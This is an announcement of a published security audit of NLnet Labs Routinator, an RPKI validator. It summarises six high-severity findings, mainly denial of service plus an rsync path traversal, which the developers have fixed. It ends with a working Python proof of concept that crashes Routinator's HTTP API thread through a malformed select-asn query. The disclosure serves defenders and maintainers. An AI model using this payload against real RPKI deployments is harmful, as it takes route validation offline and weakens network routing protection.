Security Audit of NLnet Labs Routinator

X41 performed a source code audit of NLnet Labs Routinator, commissioned by the Sovereign Tech Agency. It is a Relying Party software for Resource Public Key Infrastructure (RPKI). At a functional level, Routinator pulls RPKI data from various publication points, computes and verifies the chain of trust for the downloaded RPKI data, and provides an interface for routers to fetch the validated routing information. The report is being released now that the development team addressed the issues identified.

Full report of the security audit: https://www.x41-dsec.de/static/reports/X41-NLnetLabs-Routinator-Audit-Retest-Report-2026-06-30.pdf

Audit Results

A total of six vulnerabilities were discovered during the test by X41. All were rated as having high severity, none as medium, and none as low. Additionally, eight issues without an immediate security impact were identified.

The issues found in this audit mainly affect the availability of Routinator, allowing attackers to perform Denial of Service (DoS) attacks that crash the service. Unavailable RPKI infrastructure would cause the routers to default to an open state, sacrificing route protection to ensure continued network access. In addition to the various DoS findings, it was found that the rsync URI handling is vulnerable to path traversal via the module name component. This impacts repository isolation as well as the validity of the cache.

Overall, the system appears to be on a good security level and uses Rust’s safety features well. The audit shows that the source code follows the protocol definitions closely, and appropriately establishes trust by verifying signatures before updating data in the local state.

DoS via rpki::resources::asn::Asn Parsing on API Endpoint

A security issue that we want to highlight affects Routinator but is rooted in the rpki Rust library, which is used by Routinator for RPKI object processing. rpki contains a logic flaw in how it parses Autonomous System Numbers (ASNs) from string inputs. When the library encounters malformed, non-UTF-8, or specifically crafted strings, the ASN parsing logic triggers a panic. This issue can be used to crash an HTTP thread of Routinator via the /api/v1/origins endpoint using the select-asn query parameter, which internally uses the ASN implementation of rpki to convert the query string into a numeric ASN type. The following PoC can be used to trigger the issue:

import requests

query_bytes = (
    b"select-asn=AS133"
    b"&select-asn=n\xaf"
    b"i%%%x=r!f%aeler%"
    b"%afi%%otanuU5"
)

url = "http://127.0.0.1:9556/api/v1/origins/"

try:
    full_url = f"{url}?{query_bytes.decode('latin-1')}"
    print(f"Sending request to: {full_url}")
    response = requests.get(full_url, timeout=5)
    print(f"Status Code: {response.status_code}")
    print("Response Body:")
    print(response.text)
except requests.exceptions.ConnectionError:
    print("Error: Could not connect to Routinator.")
except Exception as e:
    print(f"An error occurred: {e}")